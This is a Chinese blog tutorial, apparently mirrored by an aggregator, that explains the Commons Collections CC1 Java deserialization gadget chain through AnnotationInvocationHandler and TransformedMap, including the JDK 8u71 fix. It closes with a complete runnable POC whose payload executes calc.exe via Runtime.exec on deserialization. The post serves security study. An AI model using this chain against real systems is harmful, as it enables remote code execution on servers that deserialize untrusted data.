3

java安全之CC1浅学(2) - gk0d

 1 year ago
source link: https://www.cnblogs.com/gk0d/p/16877799.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言#

上一篇了解了commons-collections中的Transformer,并且构造了一个简单的payload,接下来就需要将其改造为一个可利用的POC

AnnotationInvocationHandler#

前面说过,触发漏洞的核心,在于需要向Map中加入新的元素,在上一篇中,我们是手动执行行 outerMap.put("test", "xxxx");来触发漏洞的,所以在实际反序列化利用的时候,时,我们需要找到一个 类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject方法(这是8u71以前的代码,8u71以后做了一些修改)

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
     // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            }catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
             Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                     new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));
            }
           }
        }
}

核心逻辑就是 Map.Entry memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接使用new来实例化。可以使用反射获取它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map

这里有两个问题:什么是Annotation类?为什么这里使用 Retention.class ?

需要反射#

上面我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我们和上一篇文章的payload组成一个完整的POC。我们试着运行这个POC,看看能否生成序列化数据流:

image-20221110164719325

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable接口的,所以不允许被序列化的。

在前边的《Java安全之反射》一篇中,提到可以通过反射来获取当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法就是如下:

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
};

这里我们将Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化的。

这里是传入一个Runtime.class,通过反射拿到Runtime.getRuntime(),然后再反射拿到invoke方法,再反射拿到exec方法。

仍然无法触发漏洞#

修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?

image-20221110164452218

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler#readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
  
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
          this.type = var1;
          this.memberValues = var2;
      }
  
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          var1.defaultReadObject();
          AnnotationType var2 = null;

          try {
            //this.type是实例化的时候传入的jdk自带的Target.class
            //getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等
              var2 = AnnotationType.getInstance(this.type);
          } catch (IllegalArgumentException var9) {
              return;
          }

          Map var3 = var2.memberTypes();
          Iterator var4 = this.memberValues.entrySet().iterator();

          while(var4.hasNext()) {
              Entry var5 = (Entry)var4.next();
              String var6 = (String)var5.getKey();
              Class var7 = (Class)var3.get(var6);
              if (var7 != null) {
                  Object var8 = var5.getValue();
                  if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                      var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                  }
              }
          }

      }
  }

那么如何让这个var7不为null呢?两个条件

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以,这也就是前面用到Retention.class的原因,因为Retention有一个方法,名为value;所以,为了再满足第二个条件,需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx");

8u71#

再次修改POC之后,我们在本地进行测试,发现已经可以成功弹出计算器了。

image-20221110170600135

但是,当我们拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令 了。这又是为什么呢?

我这儿是拿到另一个Java 8u71以前版本的服务器上进行测试的,在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数

jdk8u/jdk8u/jdk: f8a528d0379d (java.net)

image-20221110171512556

对于这次修改,乍一看好像原因就是没有了setValue,其实不然,可以看到上边是新增了一个LinkedHashMap对象,并将原来的键值添加进去,所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了

小结#

整体的POC如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
       Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
)};
       ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        innerMap.put("value","xxxx");


        Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);


        ByteArrayOutputStream array = new ByteArrayOutputStream();
        ObjectOutputStream writeojb = new ObjectOutputStream(array);
        writeojb.writeObject(obj);
        writeojb.close();

        System.out.println(array);
        ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));
        readobj.readObject();


    }
}

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致不再可用,原因前文也说了。

ysoserial工具中没有用到TransformedMap,而是使用了LazyMap

那么LazyMap解决了这条链在高版本Java中的使用吗?如何解决的呢?

下一篇文章来分析分析。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK